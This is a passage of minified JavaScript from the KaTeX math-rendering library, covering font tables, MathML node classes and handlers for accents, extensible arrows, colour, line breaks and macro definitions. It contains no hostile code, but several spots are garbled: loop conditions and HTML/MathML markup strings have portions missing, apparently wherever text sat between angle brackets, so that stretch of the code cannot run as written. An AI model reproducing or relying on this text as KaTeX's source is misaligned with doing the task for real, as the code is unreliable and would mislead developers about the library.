r==="textbf"&&n==="textit"?a="BoldItalic":r==="textbf"?a="Bold":r==="textit"?a="Italic":a="Regular",i+"-"+a},"retrieveTextFontName"),rU={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathit:{variant:"italic",fontName:"Main-Italic"},mathnormal:{variant:"italic",fontName:"Math-Italic"},mathsfit:{variant:"sans-serif-italic",fontName:"SansSerif-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}},nU={vec:["vec",.471,.714],oiintSize1:["oiintSize1",.957,.499],oiintSize2:["oiintSize2",1.472,.659],oiiintSize1:["oiiintSize1",1.304,.499],oiiintSize2:["oiiintSize2",1.98,.659]},$Te=o(function(e,r){var[n,i,a]=nU[e],s=new Zl(n),l=new dl([s],{width:St(i),height:St(a),style:"width:"+St(i),viewBox:"0 0 "+1e3*i+" "+1e3*a,preserveAspectRatio:"xMinYMin"}),u=eU(["overlay"],[l],r);return u.height=a,u.style.height=St(a),u.style.width=St(i),u},"staticSvg"),$e={fontMap:rU,makeSymbol:fl,mathsym:_Te,makeSpan:Ss,makeSvgSpan:eU,makeLineSpan:MTe,makeAnchor:ITe,makeFragment:tU,wrapFragment:OTe,makeVList:BTe,makeOrd:LTe,makeGlue:FTe,staticSvg:$Te,svgData:nU,tryCombineChars:NTe},ni={number:3,unit:"mu"},ud={number:4,unit:"mu"},uu={number:5,unit:"mu"},zTe={mord:{mop:ni,mbin:ud,mrel:uu,minner:ni},mop:{mord:ni,mop:ni,mrel:uu,minner:ni},mbin:{mord:ud,mop:ud,mopen:ud,minner:ud},mrel:{mord:uu,mop:uu,mopen:uu,minner:uu},mopen:{},mclose:{mop:ni,mbin:ud,mrel:uu,minner:ni},mpunct:{mord:ni,mop:ni,mrel:uu,mopen:ni,mclose:ni,mpunct:ni,minner:ni},minner:{mord:ni,mop:ni,mbin:ud,mrel:uu,mopen:ni,mpunct:ni,minner:ni}},GTe={mord:{mop:ni},mop:{mord:ni,mop:ni},mbin:{},mrel:{},mopen:{},mclose:{mop:ni},mpunct:{},minner:{mop:ni}},iU={},w3={},k3={};o(Mt,"defineFunction");o(dd,"defineFunctionBuilders");E3=o(function(e){return e.type==="ordgroup"&&e.body.length===1?e.body[0]:e},"normalizeArgument"),gi=o(function(e){return e.type==="ordgroup"?e.body:[e]},"ordargument"),du=$e.makeSpan,VTe=["leftmost","mbin","mopen","mrel","mop","mpunct"],UTe=["rightmost","mrel","mclose","mpunct"],HTe={display:nr.DISPLAY,text:nr.TEXT,script:nr.SCRIPT,scriptscript:nr.SCRIPTSCRIPT},qTe={mord:"mord",mop:"mop",mbin:"mbin",mrel:"mrel",mopen:"mopen",mclose:"mclose",mpunct:"mpunct",minner:"minner"},Ii=o(function(e,r,n,i){i===void 0&&(i=[null,null]);for(var a=[],s=0;s{var v=y.classes[0],x=g.classes[0];v==="mbin"&&er.contains(UTe,x)?y.classes[0]="mord":x==="mbin"&&er.contains(VTe,v)&&(g.classes[0]="mord")},{node:d},p,m),kV(a,(g,y)=>{var v=J7(y),x=J7(g),b=v&&x?g.hasClass("mtight")?GTe[v][x]:zTe[v][x]:null;if(b)return $e.makeGlue(b,h)},{node:d},p,m),a},"buildExpression"),kV=o(function t(e,r,n,i,a){i&&e.push(i);for(var s=0;sp=>{e.splice(d+1,0,p),s++})(s)}i&&e.pop()},"traverseNonSpaceNodes"),aU=o(function(e){return e instanceof hd||e instanceof Ky||e instanceof fd&&e.hasClass("enclosing")?e:null},"checkPartialGroup"),WTe=o(function t(e,r){var n=aU(e);if(n){var i=n.children;if(i.length){if(r==="right")return t(i[i.length-1],"right");if(r==="left")return t(i[0],"left")}}return e},"getOutermostNode"),J7=o(function(e,r){return e?(r&&(e=WTe(e,r)),qTe[e.classes[0]]||null):null},"getTypeOfDomTree"),Zy=o(function(e,r){var n=["nulldelimiter"].concat(e.baseSizingClasses());return du(r.concat(n))},"makeNullDelimiter"),Hr=o(function(e,r,n){if(!e)return du();if(w3[e.type]){var i=w3[e.type](e,r);if(n&&r.size!==n.size){i=du(r.sizingClasses(n),[i],r);var a=r.sizeMultiplier/n.sizeMultiplier;i.height*=a,i.depth*=a}return i}else throw new gt("Got group of unknown type: '"+e.type+"'")},"buildGroup");o(p3,"buildHTMLUnbreakable");o(eA,"buildHTML");o(sU,"newDocumentFragment");es=class{static{o(this,"MathNode")}constructor(e,r,n){this.type=void 0,this.attributes=void 0,this.children=void 0,this.classes=void 0,this.type=e,this.attributes={},this.children=r||[],this.classes=n||[]}setAttribute(e,r){this.attributes[e]=r}getAttribute(e){return this.attributes[e]}toNode(){var e=document.createElementNS("http://www.w3.org/1998/Math/MathML",this.type);for(var r in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,r)&&e.setAttribute(r,this.attributes[r]);this.classes.length>0&&(e.className=bh(this.classes));for(var n=0;n0&&(e+=' class ="'+er.escape(bh(this.classes))+'"'),e+=">";for(var n=0;n",e}toText(){return this.children.map(e=>e.toText()).join("")}},_o=class{static{o(this,"TextNode")}constructor(e){this.text=void 0,this.text=e}toNode(){return document.createTextNode(this.text)}toMarkup(){return er.escape(this.toText())}toText(){return this.text}},tA=class{static{o(this,"SpaceNode")}constructor(e){this.width=void 0,this.character=void 0,this.width=e,e>=.05555&&e<=.05556?this.character="\u200A":e>=.1666&&e<=.1667?this.character="\u2009":e>=.2222&&e<=.2223?this.character="\u2005":e>=.2777&&e<=.2778?this.character="\u2005\u200A":e>=-.05556&&e<=-.05555?this.character="\u200A\u2063":e>=-.1667&&e<=-.1666?this.character="\u2009\u2063":e>=-.2223&&e<=-.2222?this.character="\u205F\u2063":e>=-.2778&&e<=-.2777?this.character="\u2005\u2063":this.character=null}toNode(){if(this.character)return document.createTextNode(this.character);var e=document.createElementNS("http://www.w3.org/1998/Math/MathML","mspace");return e.setAttribute("width",St(this.width)),e}toMarkup(){return this.character?""+this.character+"":''}toText(){return this.character?this.character:" "}},mt={MathNode:es,TextNode:_o,SpaceNode:tA,newDocumentFragment:sU},Lo=o(function(e,r,n){return Nn[r][e]&&Nn[r][e].replace&&e.charCodeAt(0)!==55349&&!(JV.hasOwnProperty(e)&&n&&(n.fontFamily&&n.fontFamily.slice(4,6)==="tt"||n.font&&n.font.slice(4,6)==="tt"))&&(e=Nn[r][e].replace),new mt.TextNode(e)},"makeText"),uA=o(function(e){return e.length===1?e[0]:new mt.MathNode("mrow",e)},"makeRow"),hA=o(function(e,r){if(r.fontFamily==="texttt")return"monospace";if(r.fontFamily==="textsf")return r.fontShape==="textit"&&r.fontWeight==="textbf"?"sans-serif-bold-italic":r.fontShape==="textit"?"sans-serif-italic":r.fontWeight==="textbf"?"bold-sans-serif":"sans-serif";if(r.fontShape==="textit"&&r.fontWeight==="textbf")return"bold-italic";if(r.fontShape==="textit")return"italic";if(r.fontWeight==="textbf")return"bold";var n=r.font;if(!n||n==="mathnormal")return null;var i=e.mode;if(n==="mathit")return"italic";if(n==="boldsymbol")return e.type==="textord"?"bold":"bold-italic";if(n==="mathbf")return"bold";if(n==="mathbb")return"double-struck";if(n==="mathsfit")return"sans-serif-italic";if(n==="mathfrak")return"fraktur";if(n==="mathscr"||n==="mathcal")return"script";if(n==="mathsf")return"sans-serif";if(n==="mathtt")return"monospace";var a=e.text;if(er.contains(["\\imath","\\jmath"],a))return null;Nn[i][a]&&Nn[i][a].replace&&(a=Nn[i][a].replace);var s=$e.fontMap[n].fontName;return lA(a,s,i)?$e.fontMap[n].variant:null},"getVariant");o($7,"isNumberPunctuation");As=o(function(e,r,n){if(e.length===1){var i=wn(e[0],r);return n&&i instanceof es&&i.type==="mo"&&(i.setAttribute("lspace","0em"),i.setAttribute("rspace","0em")),[i]}for(var a=[],s,l=0;l=1&&(s.type==="mn"||$7(s))){var h=u.children[0];h instanceof es&&h.type==="mn"&&(h.children=[...s.children,...h.children],a.pop())}else if(s.type==="mi"&&s.children.length===1){var f=s.children[0];if(f instanceof _o&&f.text==="\u0338"&&(u.type==="mo"||u.type==="mi"||u.type==="mn")){var d=u.children[0];d instanceof _o&&d.text.length>0&&(d.text=d.text.slice(0,1)+"\u0338"+d.text.slice(1),a.pop())}}}a.push(u),s=u}return a},"buildExpression"),Th=o(function(e,r,n){return uA(As(e,r,n))},"buildExpressionRow"),wn=o(function(e,r){if(!e)return new mt.MathNode("mrow");if(k3[e.type]){var n=k3[e.type](e,r);return n}else throw new gt("Got group of unknown type: '"+e.type+"'")},"buildGroup");o(EV,"buildMathML");oU=o(function(e){return new b3({style:e.displayMode?nr.DISPLAY:nr.TEXT,maxSize:e.maxSize,minRuleThickness:e.minRuleThickness})},"optionsFromSettings"),lU=o(function(e,r){if(r.displayMode){var n=["katex-display"];r.leqno&&n.push("leqno"),r.fleqn&&n.push("fleqn"),e=$e.makeSpan(n,[e])}return e},"displayWrap"),YTe=o(function(e,r,n){var i=oU(n),a;if(n.output==="mathml")return EV(e,r,i,n.displayMode,!0);if(n.output==="html"){var s=eA(e,i);a=$e.makeSpan(["katex"],[s])}else{var l=EV(e,r,i,n.displayMode,!1),u=eA(e,i);a=$e.makeSpan(["katex"],[l,u])}return lU(a,n)},"buildTree"),XTe=o(function(e,r,n){var i=oU(n),a=eA(e,i),s=$e.makeSpan(["katex"],[a]);return lU(s,n)},"buildHTMLTree"),jTe={widehat:"^",widecheck:"\u02C7",widetilde:"~",utilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23DF",overbrace:"\u23DE",overgroup:"\u23E0",undergroup:"\u23E1",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21D2",xRightarrow:"\u21D2",overleftharpoon:"\u21BC",xleftharpoonup:"\u21BC",overrightharpoon:"\u21C0",xrightharpoonup:"\u21C0",xLeftarrow:"\u21D0",xLeftrightarrow:"\u21D4",xhookleftarrow:"\u21A9",xhookrightarrow:"\u21AA",xmapsto:"\u21A6",xrightharpoondown:"\u21C1",xleftharpoondown:"\u21BD",xrightleftharpoons:"\u21CC",xleftrightharpoons:"\u21CB",xtwoheadleftarrow:"\u219E",xtwoheadrightarrow:"\u21A0",xlongequal:"=",xtofrom:"\u21C4",xrightleftarrows:"\u21C4",xrightequilibrium:"\u21CC",xleftequilibrium:"\u21CB","\\cdrightarrow":"\u2192","\\cdleftarrow":"\u2190","\\cdlongequal":"="},KTe=o(function(e){var r=new mt.MathNode("mo",[new mt.TextNode(jTe[e.replace(/^\\/,"")])]);return r.setAttribute("stretchy","true"),r},"mathMLnode"),QTe={overrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],overleftarrow:[["leftarrow"],.888,522,"xMinYMin"],underrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],underleftarrow:[["leftarrow"],.888,522,"xMinYMin"],xrightarrow:[["rightarrow"],1.469,522,"xMaxYMin"],"\\cdrightarrow":[["rightarrow"],3,522,"xMaxYMin"],xleftarrow:[["leftarrow"],1.469,522,"xMinYMin"],"\\cdleftarrow":[["leftarrow"],3,522,"xMinYMin"],Overrightarrow:[["doublerightarrow"],.888,560,"xMaxYMin"],xRightarrow:[["doublerightarrow"],1.526,560,"xMaxYMin"],xLeftarrow:[["doubleleftarrow"],1.526,560,"xMinYMin"],overleftharpoon:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoonup:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoondown:[["leftharpoondown"],.888,522,"xMinYMin"],overrightharpoon:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoonup:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoondown:[["rightharpoondown"],.888,522,"xMaxYMin"],xlongequal:[["longequal"],.888,334,"xMinYMin"],"\\cdlongequal":[["longequal"],3,334,"xMinYMin"],xtwoheadleftarrow:[["twoheadleftarrow"],.888,334,"xMinYMin"],xtwoheadrightarrow:[["twoheadrightarrow"],.888,334,"xMaxYMin"],overleftrightarrow:[["leftarrow","rightarrow"],.888,522],overbrace:[["leftbrace","midbrace","rightbrace"],1.6,548],underbrace:[["leftbraceunder","midbraceunder","rightbraceunder"],1.6,548],underleftrightarrow:[["leftarrow","rightarrow"],.888,522],xleftrightarrow:[["leftarrow","rightarrow"],1.75,522],xLeftrightarrow:[["doubleleftarrow","doublerightarrow"],1.75,560],xrightleftharpoons:[["leftharpoondownplus","rightharpoonplus"],1.75,716],xleftrightharpoons:[["leftharpoonplus","rightharpoondownplus"],1.75,716],xhookleftarrow:[["leftarrow","righthook"],1.08,522],xhookrightarrow:[["lefthook","rightarrow"],1.08,522],overlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],underlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],overgroup:[["leftgroup","rightgroup"],.888,342],undergroup:[["leftgroupunder","rightgroupunder"],.888,342],xmapsto:[["leftmapsto","rightarrow"],1.5,522],xtofrom:[["leftToFrom","rightToFrom"],1.75,528],xrightleftarrows:[["baraboveleftarrow","rightarrowabovebar"],1.75,901],xrightequilibrium:[["baraboveshortleftharpoon","rightharpoonaboveshortbar"],1.75,716],xleftequilibrium:[["shortbaraboveleftharpoon","shortrightharpoonabovebar"],1.75,716]},ZTe=o(function(e){return e.type==="ordgroup"?e.body.length:1},"groupLength"),JTe=o(function(e,r){function n(){var l=4e5,u=e.label.slice(1);if(er.contains(["widehat","widecheck","widetilde","utilde"],u)){var h=e,f=ZTe(h.base),d,p,m;if(f>5)u==="widehat"||u==="widecheck"?(d=420,l=2364,m=.42,p=u+"4"):(d=312,l=2340,m=.34,p="tilde4");else{var g=[1,1,2,2,3,3][f];u==="widehat"||u==="widecheck"?(l=[0,1062,2364,2364,2364][g],d=[0,239,300,360,420][g],m=[0,.24,.3,.3,.36,.42][g],p=u+g):(l=[0,600,1033,2339,2340][g],d=[0,260,286,306,312][g],m=[0,.26,.286,.3,.306,.34][g],p="tilde"+g)}var y=new Zl(p),v=new dl([y],{width:"100%",height:St(m),viewBox:"0 0 "+l+" "+d,preserveAspectRatio:"none"});return{span:$e.makeSvgSpan([],[v],r),minWidth:0,height:m}}else{var x=[],b=QTe[u],[T,S,w]=b,k=w/1e3,A=T.length,C,R;if(A===1){var I=b[3];C=["hide-tail"],R=[I]}else if(A===2)C=["halfarrow-left","halfarrow-right"],R=["xMinYMin","xMaxYMin"];else if(A===3)C=["brace-left","brace-center","brace-right"],R=["xMinYMin","xMidYMin","xMaxYMin"];else throw new Error(`Correct katexImagesData or update code here to support + `+A+" children.");for(var L=0;L0&&(i.style.minWidth=St(a)),i},"svgSpan"),ewe=o(function(e,r,n,i,a){var s,l=e.height+e.depth+n+i;if(/fbox|color|angl/.test(r)){if(s=$e.makeSpan(["stretchy",r],[],a),r==="fbox"){var u=a.color&&a.getColor();u&&(s.style.borderColor=u)}}else{var h=[];/^[bx]cancel$/.test(r)&&h.push(new Qy({x1:"0",y1:"0",x2:"100%",y2:"100%","stroke-width":"0.046em"})),/^x?cancel$/.test(r)&&h.push(new Qy({x1:"0",y1:"100%",x2:"100%",y2:"0","stroke-width":"0.046em"}));var f=new dl(h,{width:"100%",height:St(l)});s=$e.makeSvgSpan([],[f],a)}return s.height=l,s.style.height=St(l),s},"encloseSpan"),pu={encloseSpan:ewe,mathMLnode:KTe,svgSpan:JTe};o(Tr,"assertNodeType");o(fA,"assertSymbolNodeType");o(D3,"checkSymbolNodeType");dA=o((t,e)=>{var r,n,i;t&&t.type==="supsub"?(n=Tr(t.base,"accent"),r=n.base,t.base=r,i=ETe(Hr(t,e)),t.base=n):(n=Tr(t,"accent"),r=n.base);var a=Hr(r,e.havingCrampedStyle()),s=n.isShifty&&er.isCharacterBox(r),l=0;if(s){var u=er.getBaseElem(r),h=Hr(u,e.havingCrampedStyle());l=xV(h).skew}var f=n.label==="\\c",d=f?a.height+a.depth:Math.min(a.height,e.fontMetrics().xHeight),p;if(n.isStretchy)p=pu.svgSpan(n,e),p=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"elem",elem:p,wrapperClasses:["svg-align"],wrapperStyle:l>0?{width:"calc(100% - "+St(2*l)+")",marginLeft:St(2*l)}:void 0}]},e);else{var m,g;n.label==="\\vec"?(m=$e.staticSvg("vec",e),g=$e.svgData.vec[1]):(m=$e.makeOrd({mode:n.mode,text:n.label},e,"textord"),m=xV(m),m.italic=0,g=m.width,f&&(d+=m.depth)),p=$e.makeSpan(["accent-body"],[m]);var y=n.label==="\\textcircled";y&&(p.classes.push("accent-full"),d=a.height);var v=l;y||(v-=g/2),p.style.left=St(v),n.label==="\\textcircled"&&(p.style.top=".2em"),p=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"kern",size:-d},{type:"elem",elem:p}]},e)}var x=$e.makeSpan(["mord","accent"],[p],e);return i?(i.children[0]=x,i.height=Math.max(x.height,i.height),i.classes[0]="mord",i):x},"htmlBuilder$a"),cU=o((t,e)=>{var r=t.isStretchy?pu.mathMLnode(t.label):new mt.MathNode("mo",[Lo(t.label,t.mode)]),n=new mt.MathNode("mover",[wn(t.base,e),r]);return n.setAttribute("accent","true"),n},"mathmlBuilder$9"),twe=new RegExp(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring"].map(t=>"\\"+t).join("|"));Mt({type:"accent",names:["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring","\\widecheck","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],props:{numArgs:1},handler:o((t,e)=>{var r=E3(e[0]),n=!twe.test(t.funcName),i=!n||t.funcName==="\\widehat"||t.funcName==="\\widetilde"||t.funcName==="\\widecheck";return{type:"accent",mode:t.parser.mode,label:t.funcName,isStretchy:n,isShifty:i,base:r}},"handler"),htmlBuilder:dA,mathmlBuilder:cU});Mt({type:"accent",names:["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\c","\\r","\\H","\\v","\\textcircled"],props:{numArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["primitive"]},handler:o((t,e)=>{var r=e[0],n=t.parser.mode;return n==="math"&&(t.parser.settings.reportNonstrict("mathVsTextAccents","LaTeX's accent "+t.funcName+" works only in text mode"),n="text"),{type:"accent",mode:n,label:t.funcName,isStretchy:!1,isShifty:!0,base:r}},"handler"),htmlBuilder:dA,mathmlBuilder:cU});Mt({type:"accentUnder",names:["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\utilde"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"accentUnder",mode:r.mode,label:n,base:i}},"handler"),htmlBuilder:o((t,e)=>{var r=Hr(t.base,e),n=pu.svgSpan(t,e),i=t.label==="\\utilde"?.12:0,a=$e.makeVList({positionType:"top",positionData:r.height,children:[{type:"elem",elem:n,wrapperClasses:["svg-align"]},{type:"kern",size:i},{type:"elem",elem:r}]},e);return $e.makeSpan(["mord","accentunder"],[a],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=pu.mathMLnode(t.label),n=new mt.MathNode("munder",[wn(t.base,e),r]);return n.setAttribute("accentunder","true"),n},"mathmlBuilder")});m3=o(t=>{var e=new mt.MathNode("mpadded",t?[t]:[]);return e.setAttribute("width","+0.6em"),e.setAttribute("lspace","0.3em"),e},"paddedNode");Mt({type:"xArrow",names:["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xlongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xtofrom","\\xrightleftarrows","\\xrightequilibrium","\\xleftequilibrium","\\\\cdrightarrow","\\\\cdleftarrow","\\\\cdlongequal"],props:{numArgs:1,numOptionalArgs:1},handler(t,e,r){var{parser:n,funcName:i}=t;return{type:"xArrow",mode:n.mode,label:i,body:e[0],below:r[0]}},htmlBuilder(t,e){var r=e.style,n=e.havingStyle(r.sup()),i=$e.wrapFragment(Hr(t.body,n,e),e),a=t.label.slice(0,2)==="\\x"?"x":"cd";i.classes.push(a+"-arrow-pad");var s;t.below&&(n=e.havingStyle(r.sub()),s=$e.wrapFragment(Hr(t.below,n,e),e),s.classes.push(a+"-arrow-pad"));var l=pu.svgSpan(t,e),u=-e.fontMetrics().axisHeight+.5*l.height,h=-e.fontMetrics().axisHeight-.5*l.height-.111;(i.depth>.25||t.label==="\\xleftequilibrium")&&(h-=i.depth);var f;if(s){var d=-e.fontMetrics().axisHeight+s.height+.5*l.height+.111;f=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:h},{type:"elem",elem:l,shift:u},{type:"elem",elem:s,shift:d}]},e)}else f=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:h},{type:"elem",elem:l,shift:u}]},e);return f.children[0].children[0].children[1].classes.push("svg-align"),$e.makeSpan(["mrel","x-arrow"],[f],e)},mathmlBuilder(t,e){var r=pu.mathMLnode(t.label);r.setAttribute("minsize",t.label.charAt(0)==="x"?"1.75em":"3.0em");var n;if(t.body){var i=m3(wn(t.body,e));if(t.below){var a=m3(wn(t.below,e));n=new mt.MathNode("munderover",[r,a,i])}else n=new mt.MathNode("mover",[r,i])}else if(t.below){var s=m3(wn(t.below,e));n=new mt.MathNode("munder",[r,s])}else n=m3(),n=new mt.MathNode("mover",[r,n]);return n}});rwe=$e.makeSpan;o(uU,"htmlBuilder$9");o(hU,"mathmlBuilder$8");Mt({type:"mclass",names:["\\mathord","\\mathbin","\\mathrel","\\mathopen","\\mathclose","\\mathpunct","\\mathinner"],props:{numArgs:1,primitive:!0},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"mclass",mode:r.mode,mclass:"m"+n.slice(5),body:gi(i),isCharacterBox:er.isCharacterBox(i)}},htmlBuilder:uU,mathmlBuilder:hU});L3=o(t=>{var e=t.type==="ordgroup"&&t.body.length?t.body[0]:t;return e.type==="atom"&&(e.family==="bin"||e.family==="rel")?"m"+e.family:"mord"},"binrelClass");Mt({type:"mclass",names:["\\@binrel"],props:{numArgs:2},handler(t,e){var{parser:r}=t;return{type:"mclass",mode:r.mode,mclass:L3(e[0]),body:gi(e[1]),isCharacterBox:er.isCharacterBox(e[1])}}});Mt({type:"mclass",names:["\\stackrel","\\overset","\\underset"],props:{numArgs:2},handler(t,e){var{parser:r,funcName:n}=t,i=e[1],a=e[0],s;n!=="\\stackrel"?s=L3(i):s="mrel";var l={type:"op",mode:i.mode,limits:!0,alwaysHandleSupSub:!0,parentIsSupSub:!1,symbol:!1,suppressBaseShift:n!=="\\stackrel",body:gi(i)},u={type:"supsub",mode:a.mode,base:l,sup:n==="\\underset"?null:a,sub:n==="\\underset"?a:null};return{type:"mclass",mode:r.mode,mclass:s,body:[u],isCharacterBox:er.isCharacterBox(u)}},htmlBuilder:uU,mathmlBuilder:hU});Mt({type:"pmb",names:["\\pmb"],props:{numArgs:1,allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"pmb",mode:r.mode,mclass:L3(e[0]),body:gi(e[0])}},htmlBuilder(t,e){var r=Ii(t.body,e,!0),n=$e.makeSpan([t.mclass],r,e);return n.style.textShadow="0.02em 0.01em 0.04px",n},mathmlBuilder(t,e){var r=As(t.body,e),n=new mt.MathNode("mstyle",r);return n.setAttribute("style","text-shadow: 0.02em 0.01em 0.04px"),n}});nwe={">":"\\\\cdrightarrow","<":"\\\\cdleftarrow","=":"\\\\cdlongequal",A:"\\uparrow",V:"\\downarrow","|":"\\Vert",".":"no arrow"},SV=o(()=>({type:"styling",body:[],mode:"math",style:"display"}),"newCell"),CV=o(t=>t.type==="textord"&&t.text==="@","isStartOfArrow"),iwe=o((t,e)=>(t.type==="mathord"||t.type==="atom")&&t.text===e,"isLabelEnd");o(awe,"cdArrow");o(swe,"parseCD");Mt({type:"cdlabel",names:["\\\\cdleft","\\\\cdright"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t;return{type:"cdlabel",mode:r.mode,side:n.slice(4),label:e[0]}},htmlBuilder(t,e){var r=e.havingStyle(e.style.sup()),n=$e.wrapFragment(Hr(t.label,r,e),e);return n.classes.push("cd-label-"+t.side),n.style.bottom=St(.8-n.depth),n.height=0,n.depth=0,n},mathmlBuilder(t,e){var r=new mt.MathNode("mrow",[wn(t.label,e)]);return r=new mt.MathNode("mpadded",[r]),r.setAttribute("width","0"),t.side==="left"&&r.setAttribute("lspace","-1width"),r.setAttribute("voffset","0.7em"),r=new mt.MathNode("mstyle",[r]),r.setAttribute("displaystyle","false"),r.setAttribute("scriptlevel","1"),r}});Mt({type:"cdlabelparent",names:["\\\\cdparent"],props:{numArgs:1},handler(t,e){var{parser:r}=t;return{type:"cdlabelparent",mode:r.mode,fragment:e[0]}},htmlBuilder(t,e){var r=$e.wrapFragment(Hr(t.fragment,e),e);return r.classes.push("cd-vert-arrow"),r},mathmlBuilder(t,e){return new mt.MathNode("mrow",[wn(t.fragment,e)])}});Mt({type:"textord",names:["\\@char"],props:{numArgs:1,allowedInText:!0},handler(t,e){for(var{parser:r}=t,n=Tr(e[0],"ordgroup"),i=n.body,a="",s=0;s=1114111)throw new gt("\\@char with invalid code point "+a);return u<=65535?h=String.fromCharCode(u):(u-=65536,h=String.fromCharCode((u>>10)+55296,(u&1023)+56320)),{type:"textord",mode:r.mode,text:h}}});fU=o((t,e)=>{var r=Ii(t.body,e.withColor(t.color),!1);return $e.makeFragment(r)},"htmlBuilder$8"),dU=o((t,e)=>{var r=As(t.body,e.withColor(t.color)),n=new mt.MathNode("mstyle",r);return n.setAttribute("mathcolor",t.color),n},"mathmlBuilder$7");Mt({type:"color",names:["\\textcolor"],props:{numArgs:2,allowedInText:!0,argTypes:["color","original"]},handler(t,e){var{parser:r}=t,n=Tr(e[0],"color-token").color,i=e[1];return{type:"color",mode:r.mode,color:n,body:gi(i)}},htmlBuilder:fU,mathmlBuilder:dU});Mt({type:"color",names:["\\color"],props:{numArgs:1,allowedInText:!0,argTypes:["color"]},handler(t,e){var{parser:r,breakOnTokenText:n}=t,i=Tr(e[0],"color-token").color;r.gullet.macros.set("\\current@color",i);var a=r.parseExpression(!0,n);return{type:"color",mode:r.mode,color:i,body:a}},htmlBuilder:fU,mathmlBuilder:dU});Mt({type:"cr",names:["\\\\"],props:{numArgs:0,numOptionalArgs:0,allowedInText:!0},handler(t,e,r){var{parser:n}=t,i=n.gullet.future().text==="["?n.parseSizeGroup(!0):null,a=!n.settings.displayMode||!n.settings.useStrictBehavior("newLineInDisplayMode","In LaTeX, \\\\ or \\newline does nothing in display mode");return{type:"cr",mode:n.mode,newLine:a,size:i&&Tr(i,"size").value}},htmlBuilder(t,e){var r=$e.makeSpan(["mspace"],[],e);return t.newLine&&(r.classes.push("newline"),t.size&&(r.style.marginTop=St(ii(t.size,e)))),r},mathmlBuilder(t,e){var r=new mt.MathNode("mspace");return t.newLine&&(r.setAttribute("linebreak","newline"),t.size&&r.setAttribute("height",St(ii(t.size,e)))),r}});rA={"\\global":"\\global","\\long":"\\\\globallong","\\\\globallong":"\\\\globallong","\\def":"\\gdef","\\gdef":"\\gdef","\\edef":"\\xdef","\\xdef":"\\xdef","\\let":"\\\\globallet","\\futurelet":"\\\\globalfuture"},pU=o(t=>{var e=t.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(e))throw new gt("Expected a control sequence",t);return e},"checkControlSequence"),owe=o(t=>{var e=t.gullet.popToken();return e.text==="="&&(e=t.gullet.popToken(),e.text===" "&&(e=t.gullet.popToken())),e},"getRHS"),mU=o((t,e,r,n)=>{var i=t.gullet.macros.get(r.text);i==null&&(r.noexpand=!0,i={tokens:[r],numArgs:0,unexpandable:!t.gullet.isExpandable(r.text)}),t.gullet.macros.set(e,i,n)},"letCommand");Mt({type:"internal",names:["\\global","\\long","\\\\globallong"],props:{numArgs:0,allowedInText:!0},handler(t){var{parser:e,funcName:r}=t;e.consumeSpaces();var n=e.fetch();if(rA[n.text])return(r==="\\global"||r==="\\\\globallong")&&(n.text=rA[n.text]),Tr(e.parseFunction(),"internal");throw new gt("Invalid token after macro prefix",n)}});Mt({type:"internal",names:["\\def","\\gdef","\\edef","\\xdef"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=e.gullet.popToken(),i=n.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(i))throw new gt("Expected a control sequence",n);for(var a=0,s,l=[[]];e.gullet.future().text!=="{";)if(n=e.gullet.popToken(),n.text==="#"){if(e.gullet.future().text==="{"){s=e.gullet.future(),l[a].push("{");break}if(n=e.gullet.popToken(),!/^[1-9]$/.test(n.text))throw new gt('Invalid argument number "'+n.text+'"');if(parseInt(n.text)!==a+1)throw new gt('Argument number "'+n.text+'" out of order');a++,l.push([])}else{if(n.text==="EOF")throw new gt("Expected a macro definition");l[a].push(n.text)}var{tokens:u}=e.gullet.consumeArg();return 